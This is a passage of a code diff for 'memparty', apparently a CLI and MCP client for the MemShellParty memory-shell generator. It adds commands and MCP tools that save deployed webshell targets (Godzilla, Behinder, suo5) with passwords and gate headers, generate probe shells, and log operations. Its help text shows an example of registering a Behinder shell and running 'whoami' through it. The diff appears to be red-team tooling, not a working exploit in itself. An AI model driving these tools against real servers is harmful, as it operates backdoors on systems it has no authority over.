|
+
if (args.shell) {
|
|
2344
|
+
if (args.category !== void 0) {
|
|
2345
|
+
throw new Error("category only applies to projects");
|
|
2346
|
+
}
|
|
2347
|
+
const updated2 = saveShellMeta(args.project, args.shell, { remark: args.remark });
|
|
2348
|
+
logOp({
|
|
2349
|
+
category: "target",
|
|
2350
|
+
action: "note",
|
|
2351
|
+
targetName: `${args.project}/${args.shell}`,
|
|
2352
|
+
ok: true,
|
|
2353
|
+
detail: `remark=${updated2.remark ?? "-"}`
|
|
2354
|
+
});
|
|
2355
|
+
return jsonContent({
|
|
2356
|
+
project: args.project,
|
|
2357
|
+
shell: args.shell,
|
|
2358
|
+
remark: updated2.remark
|
|
2359
|
+
});
|
|
2360
|
+
}
|
|
2361
|
+
const updated = saveProjectMeta(args.project, {
|
|
2362
|
+
remark: args.remark,
|
|
2363
|
+
category: args.category
|
|
2364
|
+
});
|
|
2365
|
+
logOp({
|
|
2366
|
+
category: "target",
|
|
2367
|
+
action: "note",
|
|
2368
|
+
targetName: args.project,
|
|
2369
|
+
ok: true,
|
|
2370
|
+
detail: `category=${updated.category ?? "-"} remark=${updated.remark ?? "-"}`
|
|
2371
|
+
});
|
|
2372
|
+
return jsonContent({ project: args.project, ...updated, shells: Object.keys(updated.shells) });
|
|
2373
|
+
} catch (err) {
|
|
2374
|
+
return errorContent(err);
|
|
2375
|
+
}
|
|
2376
|
+
}
|
|
2377
|
+
);
|
|
2378
|
+
server.registerTool(
|
|
2379
|
+
"target_list",
|
|
2380
|
+
{
|
|
2381
|
+
title: "List saved targets",
|
|
2382
|
+
description: "List saved projects (remark, category) and their shells. Use the <project>/<shell> references as `name` in connect_test / exec_command.",
|
|
2383
|
+
inputSchema: {
|
|
2384
|
+
category: z.string().optional().describe("only show projects in this category")
|
|
2385
|
+
}
|
|
2386
|
+
},
|
|
2387
|
+
async (args) => {
|
|
2388
|
+
try {
|
|
2389
|
+
const all = listProjects();
|
|
2390
|
+
const filtered = {};
|
|
2391
|
+
for (const [name, p] of Object.entries(all)) {
|
|
2392
|
+
if (args.category !== void 0 && p.category !== args.category) continue;
|
|
2393
|
+
filtered[name] = p;
|
|
2394
|
+
}
|
|
2395
|
+
return jsonContent({ storePath: targetStorePath(), projects: filtered });
|
|
2396
|
+
} catch (err) {
|
|
2397
|
+
return errorContent(err);
|
|
2398
|
+
}
|
|
2399
|
+
}
|
|
2400
|
+
);
|
|
2401
|
+
server.registerTool(
|
|
2402
|
+
"target_remove",
|
|
2403
|
+
{
|
|
2404
|
+
title: "Remove saved target",
|
|
2405
|
+
description: "Remove a whole project, or a single shell when `shell` is given.",
|
|
2406
|
+
inputSchema: {
|
|
2407
|
+
project: z.string(),
|
|
2408
|
+
shell: z.string().optional()
|
|
2409
|
+
}
|
|
2410
|
+
},
|
|
2411
|
+
async (args) => {
|
|
2412
|
+
try {
|
|
2413
|
+
const removed = args.shell ? removeShell(args.project, args.shell) : removeProject(args.project);
|
|
2414
|
+
if (!removed) throw new Error(`unknown target ${args.project}/${args.shell ?? ""}`);
|
|
2415
|
+
logOp({
|
|
2416
|
+
category: "target",
|
|
2417
|
+
action: "remove",
|
|
2418
|
+
targetName: args.shell ? `${args.project}/${args.shell}` : args.project,
|
|
2419
|
+
ok: true,
|
|
2420
|
+
detail: "removed"
|
|
2421
|
+
});
|
|
2422
|
+
return jsonContent({ removed: true, project: args.project, shell: args.shell });
|
|
2423
|
+
} catch (err) {
|
|
2424
|
+
return errorContent(err);
|
|
2425
|
+
}
|
|
2426
|
+
}
|
|
2427
|
+
);
|
|
2428
|
+
server.registerTool(
|
|
2429
|
+
"log_list",
|
|
2430
|
+
{
|
|
2431
|
+
title: "List operation log",
|
|
2432
|
+
description: "Read the global operation log (every gen/probe/connect/exec/target op), newest first. Filter by category and/or target.",
|
|
2433
|
+
inputSchema: {
|
|
2434
|
+
category: z.enum(["gen", "probe", "connect", "exec", "target"]).optional().describe("operation category"),
|
|
2435
|
+
target: z.string().optional().describe("project name, project/shell, or a URL substring (e.g. host)"),
|
|
2436
|
+
limit: z.number().optional().describe("max entries (default 50)")
|
|
2437
|
+
}
|
|
2438
|
+
},
|
|
2439
|
+
async (args) => {
|
|
2440
|
+
try {
|
|
2441
|
+
const entries = readOps({
|
|
2442
|
+
category: args.category,
|
|
2443
|
+
target: args.target,
|
|
2444
|
+
limit: args.limit
|
|
2445
|
+
});
|
|
2446
|
+
return jsonContent({ logPath: opLogPath(), entries });
|
|
2447
|
+
} catch (err) {
|
|
2448
|
+
return errorContent(err);
|
|
2449
|
+
}
|
|
2450
|
+
}
|
|
2451
|
+
);
|
|
1529
2452
|
return server;
|
|
1530
2453
|
}
|
|
1531
2454
|
async function startMcpStdio(client) {
|
|
@@ -1545,12 +2468,12 @@ function registerMcpCommand(program) {
|
|
|
1545
2468
|
}
|
|
1546
2469
|
|
|
1547
2470
|
// src/commands/parse-classname.ts
|
|
1548
|
-
import { readFileSync as
|
|
2471
|
+
import { readFileSync as readFileSync6 } from "fs";
|
|
1549
2472
|
function registerParseClassNameCommand(program) {
|
|
1550
2473
|
program.command("parse-classname").description("Parse the fully-qualified class name from a .class file").argument("[base64]", "base64-encoded .class bytes (omit when using --file)").option("-f, --file <path>", "read a .class file from disk instead of passing base64").action(async (base64, opts, cmd) => {
|
|
1551
2474
|
let classBase64;
|
|
1552
2475
|
if (opts.file) {
|
|
1553
|
-
classBase64 =
|
|
2476
|
+
classBase64 = readFileSync6(opts.file).toString("base64");
|
|
1554
2477
|
} else if (base64) {
|
|
1555
2478
|
classBase64 = base64.trim();
|
|
1556
2479
|
} else {
|
|
@@ -1564,7 +2487,7 @@ function registerParseClassNameCommand(program) {
|
|
|
1564
2487
|
}
|
|
1565
2488
|
|
|
1566
2489
|
// src/commands/probe.ts
|
|
1567
|
-
import { Option as
|
|
2490
|
+
import { Option as Option5 } from "commander";
|
|
1568
2491
|
|
|
1569
2492
|
// src/wizard/probe-wizard.ts
|
|
1570
2493
|
import { checkbox as checkbox2, confirm as confirm2, input as input2, select as select2 } from "@inquirer/prompts";
|
|
@@ -1665,7 +2588,7 @@ function toOptions2(o) {
|
|
|
1665
2588
|
};
|
|
1666
2589
|
}
|
|
1667
2590
|
function registerProbeCommand(program) {
|
|
1668
|
-
program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new
|
|
2591
|
+
program.command("probe").description("Generate a probe/detection shell. Runs an interactive wizard when required flags are missing.").option("-m, --method <method>", "probe method: ResponseBody, DNSLog, Sleep").option("-c, --content <content>", "probe content: BasicInfo, Server, OS, JDK, Bytecode, Command").option("-p, --packer <packer>", "packer, e.g. Base64, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--no-static-initialize", "disable static initialization (enabled by default)").option("--shell-class-name <name>", "explicit shell class name").option("--host <host>", "DNSLog host (DNSLog method)").option("--seconds <n>", "sleep seconds (Sleep method)").option("--sleep-server <server>", "server to fingerprint (Sleep method)").option("--server <server>", "server (ResponseBody method)").option("--req-param-name <name>", "request param name (ResponseBody method)").option("--command-template <tpl>", "command template ({command} placeholder)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option5("--decode", "base64-decode the payload before writing")).addOption(new Option5("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").action(async (opts, cmd) => {
|
|
1669
2592
|
const client = createClient(cmd.optsWithGlobals());
|
|
1670
2593
|
const missing = REQUIRED2.filter((k) => !opts[k]);
|
|
1671
2594
|
const stdinIsTty = Boolean(process.stdin.isTTY);
|
|
@@ -1682,7 +2605,35 @@ function registerProbeCommand(program) {
|
|
|
1682
2605
|
probeOpts = toOptions2(opts);
|
|
1683
2606
|
}
|
|
1684
2607
|
const request = buildProbeRequest(probeOpts);
|
|
1685
|
-
const
|
|
2608
|
+
const probeMeta = {
|
|
2609
|
+
probeMethod: probeOpts.probeMethod,
|
|
2610
|
+
probeContent: probeOpts.probeContent,
|
|
2611
|
+
packer: probeOpts.packer,
|
|
2612
|
+
jdk: probeOpts.jdk
|
|
2613
|
+
};
|
|
2614
|
+
const started = Date.now();
|
|
2615
|
+
let response;
|
|
2616
|
+
try {
|
|
2617
|
+
response = await client.generateProbe(request);
|
|
2618
|
+
} catch (err) {
|
|
2619
|
+
logOp({
|
|
2620
|
+
category: "probe",
|
|
2621
|
+
action: "probe",
|
|
2622
|
+
ok: false,
|
|
2623
|
+
durationMs: Date.now() - started,
|
|
2624
|
+
error: err instanceof Error ? err.message : String(err),
|
|
2625
|
+
meta: probeMeta
|
|
2626
|
+
});
|
|
2627
|
+
throw err;
|
|
2628
|
+
}
|
|
2629
|
+
logOp({
|
|
2630
|
+
category: "probe",
|
|
2631
|
+
action: "probe",
|
|
2632
|
+
ok: true,
|
|
2633
|
+
durationMs: Date.now() - started,
|
|
2634
|
+
detail: `${response.probeShellResult.shellClassName} (${response.probeShellResult.shellSize} bytes)`,
|
|
2635
|
+
meta: probeMeta
|
|
2636
|
+
});
|
|
1686
2637
|
if (opts.json) {
|
|
1687
2638
|
process.stdout.write(`${JSON.stringify(response, null, 2)}
|
|
1688
2639
|
`);
|
|
@@ -1712,6 +2663,200 @@ function registerProbeCommand(program) {
|
|
|
1712
2663
|
});
|
|
1713
2664
|
}
|
|
1714
2665
|
|
|
2666
|
+
// src/commands/target.ts
|
|
2667
|
+
import { Option as Option6 } from "commander";
|
|
2668
|
+
function parseExtraHeaders3(lines) {
|
|
2669
|
+
const headers = {};
|
|
2670
|
+
for (const line of lines ?? []) {
|
|
2671
|
+
const idx = line.indexOf(":");
|
|
2672
|
+
if (idx <= 0) {
|
|
2673
|
+
throw new Error(`invalid header ${JSON.stringify(line)}, expected "Name: value"`);
|
|
2674
|
+
}
|
|
2675
|
+
headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();
|
|
2676
|
+
}
|
|
2677
|
+
return headers;
|
|
2678
|
+
}
|
|
2679
|
+
function parseRef(ref) {
|
|
2680
|
+
const slash = ref.indexOf("/");
|
|
2681
|
+
if (slash === -1) return { project: ref };
|
|
2682
|
+
return { project: ref.slice(0, slash), shell: ref.slice(slash + 1) };
|
|
2683
|
+
}
|
|
2684
|
+
function registerTargetCommand(program) {
|
|
2685
|
+
const target = program.command("target").description(
|
|
2686
|
+
"Manage named shell targets: projects (remark + category) grouping several shells"
|
|
2687
|
+
);
|
|
2688
|
+
target.command("save").description(
|
|
2689
|
+
"Save a shell connection profile as <project>/<shell> (overwrites an existing shell)"
|
|
2690
|
+
).argument("<ref>", "shell reference: <project>/<shell>").requiredOption("-u, --url <url>", "URL of the deployed shell").addOption(
|
|
2691
|
+
new Option6("-t, --tool <tool>", "shell tool").choices(["godzilla", "behinder", "suo5"])
|
|
2692
|
+
).option("--pass <pass>", "password").option("--key <key>", "godzilla key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
|
|
2693
|
+
"after",
|
|
2694
|
+
`
|
|
2695
|
+
Examples:
|
|
2696
|
+
$ memparty target save hw222/bh9060 -u http://192.168.31.222:9060/console/service \\
|
|
2697
|
+
-t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \\
|
|
2698
|
+
--remark "\u5185\u7F51\u6D4B\u8BD5\u73AF\u5883" --category test
|
|
2699
|
+
$ memparty exec hw222/bh9060 --cmd "whoami"
|
|
2700
|
+
`
|
|
2701
|
+
).action((ref, opts) => {
|
|
2702
|
+
const { project, shell } = parseRef(ref);
|
|
2703
|
+
if (!shell) {
|
|
2704
|
+
process.stderr.write(
|
|
2705
|
+
`Error: expected <project>/<shell>, got ${JSON.stringify(ref)}
|
|
2706
|
+
`
|
|
2707
|
+
);
|
|
2708
|
+
process.exitCode = 1;
|
|
2709
|
+
return;
|
|
2710
|
+
}
|
|
2711
|
+
if (!opts.tool) {
|
|
2712
|
+
process.stderr.write("Error: --tool is required (godzilla | behinder | suo5)\n");
|
|
2713
|
+
process.exitCode = 1;
|
|
2714
|
+
return;
|
|
2715
|
+
}
|
|
2716
|
+
if (opts.remark !== void 0 || opts.category !== void 0) {
|
|
2717
|
+
saveProjectMeta(project, { remark: opts.remark, category: opts.category });
|
|
2718
|
+
}
|
|
2719
|
+
const input3 = {
|
|
2720
|
+
url: opts.url,
|
|
2721
|
+
tool: opts.tool,
|
|
2722
|
+
pass: opts.pass,
|
|
2723
|
+
key: opts.key,
|
|
2724
|
+
headerName: opts.headerName,
|
|
2725
|
+
headerValue: opts.headerValue,
|
|
2726
|
+
extraHeaders: parseExtraHeaders3(opts.header),
|
|
2727
|
+
insecure: opts.insecure || void 0,
|
|
2728
|
+
remark: opts.shellRemark
|
|
2729
|
+
};
|
|
2730
|
+
const stored = saveShell(project, shell, input3);
|
|
2731
|
+
logOp({
|
|
2732
|
+
category: "target",
|
|
2733
|
+
action: "save",
|
|
2734
|
+
targetName: `${project}/${shell}`,
|
|
2735
|
+
url: stored.url,
|
|
2736
|
+
tool: stored.tool,
|
|
2737
|
+
ok: true,
|
|
2738
|
+
detail: "saved",
|
|
2739
|
+
meta: {
|
|
2740
|
+
projectRemark: opts.remark,
|
|
2741
|
+
projectCategory: opts.category,
|
|
2742
|
+
shellRemark: opts.shellRemark
|
|
2743
|
+
}
|
|
2744
|
+
});
|
|
2745
|
+
if (opts.json) {
|
|
2746
|
+
process.stdout.write(
|
|
2747
|
+
`${JSON.stringify({ project, shell, ...stored }, null, 2)}
|
|
2748
|
+
`
|
|
2749
|
+
);
|
|
2750
|
+
} else {
|
|
2751
|
+
process.stdout.write(
|
|
2752
|
+
`saved ${project}/${shell} (${stored.tool} ${stored.url}) -> ${targetStorePath()}
|
|
2753
|
+
`
|
|
2754
|
+
);
|
|
2755
|
+
}
|
|
2756
|
+
});
|
|
2757
|
+
target.command("note").description("Set a remark/category on a project, or a remark on a shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").option("--remark <text>", 'remark ("" to clear)').option("--category <name>", 'project category ("" to clear; projects only)').action((ref, opts) => {
|
|
2758
|
+
const { project, shell } = parseRef(ref);
|
|
2759
|
+
if (shell) {
|
|
2760
|
+
if (opts.category !== void 0) {
|
|
2761
|
+
process.stderr.write("Error: --category only applies to projects\n");
|
|
2762
|
+
process.exitCode = 1;
|
|
2763
|
+
return;
|
|
2764
|
+
}
|
|
2765
|
+
if (opts.remark === void 0) {
|
|
2766
|
+
process.stderr.write("Error: nothing to set \u2014 pass --remark\n");
|
|
2767
|
+
process.exitCode = 1;
|
|
2768
|
+
return;
|
|
2769
|
+
}
|
|
2770
|
+
const updated2 = saveShellMeta(project, shell, { remark: opts.remark });
|
|
2771
|
+
logOp({
|
|
2772
|
+
category: "target",
|
|
2773
|
+
action: "note",
|
|
2774
|
+
targetName: `${project}/${shell}`,
|
|
2775
|
+
ok: true,
|
|
2776
|
+
detail: `remark=${updated2.remark ?? "-"}`
|
|
2777
|
+
});
|
|
2778
|
+
process.stdout.write(`${project}/${shell}: remark=${updated2.remark ?? "-"}
|
|
2779
|
+
`);
|
|
2780
|
+
return;
|
|
2781
|
+
}
|
|
2782
|
+
if (opts.remark === void 0 && opts.category === void 0) {
|
|
2783
|
+
process.stderr.write("Error: nothing to set \u2014 pass --remark and/or --category\n");
|
|
2784
|
+
process.exitCode = 1;
|
|
2785
|
+
return;
|
|
2786
|
+
}
|
|
2787
|
+
const existing = getProject(project);
|
|
2788
|
+
if (!existing) {
|
|
2789
|
+
process.stderr.write(`Error: unknown project ${JSON.stringify(project)}
|
|
2790
|
+
`);
|
|
2791
|
+
process.exitCode = 1;
|
|
2792
|
+
return;
|
|
2793
|
+
}
|
|
2794
|
+
const updated = saveProjectMeta(project, {
|
|
2795
|
+
remark: opts.remark,
|
|
2796
|
+
category: opts.category
|
|
2797
|
+
});
|
|
2798
|
+
logOp({
|
|
2799
|
+
category: "target",
|
|
2800
|
+
action: "note",
|
|
2801
|
+
targetName: project,
|
|
2802
|
+
ok: true,
|
|
2803
|
+
detail: `category=${updated.category ?? "-"} remark=${updated.remark ?? "-"}`
|
|
2804
|
+
});
|
|
2805
|
+
process.stdout.write(
|
|
2806
|
+
`${project}: category=${updated.category ?? "-"} remark=${updated.remark ?? "-"}
|
|
2807
|
+
`
|
|
2808
|
+
);
|
|
2809
|
+
});
|
|
2810
|
+
target.command("list").description("List saved projects and their shells").option("--category <name>", "only show projects in this category").option("--json", "output raw JSON").action((opts) => {
|
|
2811
|
+
const all = listProjects();
|
|
2812
|
+
const names = Object.keys(all).filter(
|
|
2813
|
+
(n) => opts.category === void 0 || all[n].category === opts.category
|
|
2814
|
+
);
|
|
2815
|
+
if (opts.json) {
|
|
2816
|
+
const filtered = {};
|
|
2817
|
+
for (const n of names) filtered[n] = all[n];
|
|
2818
|
+
process.stdout.write(`${JSON.stringify(filtered, null, 2)}
|
|
2819
|
+
`);
|
|
2820
|
+
return;
|
|
2821
|
+
}
|
|
2822
|
+
if (names.length === 0) {
|
|
2823
|
+
process.stdout.write(`no saved projects (store: ${targetStorePath()})
|
|
2824
|
+
`);
|
|
2825
|
+
return;
|
|
2826
|
+
}
|
|
2827
|
+
for (const name of names) {
|
|
2828
|
+
const p = all[name];
|
|
2829
|
+
const meta = [p.category ? `[${p.category}]` : void 0, p.remark].filter(Boolean).join(" ");
|
|
2830
|
+
process.stdout.write(`${name}${meta ? ` ${meta}` : ""}
|
|
2831
|
+
`);
|
|
2832
|
+
for (const [shellName, s] of Object.entries(p.shells)) {
|
|
2833
|
+
const line = ` ${name}/${shellName} ${s.tool} ${s.url}`;
|
|
2834
|
+
process.stdout.write(`${line}${s.remark ? ` \u2014 ${s.remark}` : ""}
|
|
2835
|
+
`);
|
|
2836
|
+
}
|
|
2837
|
+
}
|
|
2838
|
+
});
|
|
2839
|
+
target.command("remove").description("Remove a whole project or a single shell (<project>[/<shell>])").argument("<ref>", "project name or <project>/<shell>").action((ref) => {
|
|
2840
|
+
const { project, shell } = parseRef(ref);
|
|
2841
|
+
const removed = shell ? removeShell(project, shell) : removeProject(project);
|
|
2842
|
+
logOp({
|
|
2843
|
+
category: "target",
|
|
2844
|
+
action: "remove",
|
|
2845
|
+
targetName: ref,
|
|
2846
|
+
ok: removed,
|
|
2847
|
+
detail: removed ? "removed" : "unknown target"
|
|
2848
|
+
});
|
|
2849
|
+
if (removed) {
|
|
2850
|
+
process.stdout.write(`removed ${ref}
|
|
2851
|
+
`);
|
|
2852
|
+
} else {
|
|
2853
|
+
process.stderr.write(`Error: unknown target ${JSON.stringify(ref)}
|
|
2854
|
+
`);
|
|
2855
|
+
process.exitCode = 1;
|
|
2856
|
+
}
|
|
2857
|
+
});
|
|
2858
|
+
}
|
|
2859
|
+
|
|
1715
2860
|
// src/commands/version.ts
|
|
1716
2861
|
function registerVersionCommand(program) {
|
|
1717
2862
|
program.command("version").description("Show CLI version and the backend server version").option("--json", "output raw JSON").action(async (opts, cmd) => {
|
|
@@ -1743,7 +2888,7 @@ function registerVersionCommand(program) {
|
|
|
1743
2888
|
|
|
1744
2889
|
// src/cli.ts
|
|
1745
2890
|
function buildProgram() {
|
|
1746
|
-
const program = new
|
|
2891
|
+
const program = new Command7();
|
|
1747
2892
|
program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
|
|
1748
2893
|
"--api <url>",
|
|
1749
2894
|
`MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
|
|
@@ -1752,6 +2897,9 @@ function buildProgram() {
|
|
|
1752
2897
|
registerProbeCommand(program);
|
|
1753
2898
|
registerConfigCommand(program);
|
|
1754
2899
|
registerConnectCommand(program);
|
|
2900
|
+
registerExecCommand(program);
|
|
2901
|
+
registerTargetCommand(program);
|
|
2902
|
+
registerLogCommand(program);
|
|
1755
2903
|
registerParseClassNameCommand(program);
|
|
1756
2904
|
registerVersionCommand(program);
|
|
1757
2905
|
registerMcpCommand(program);
|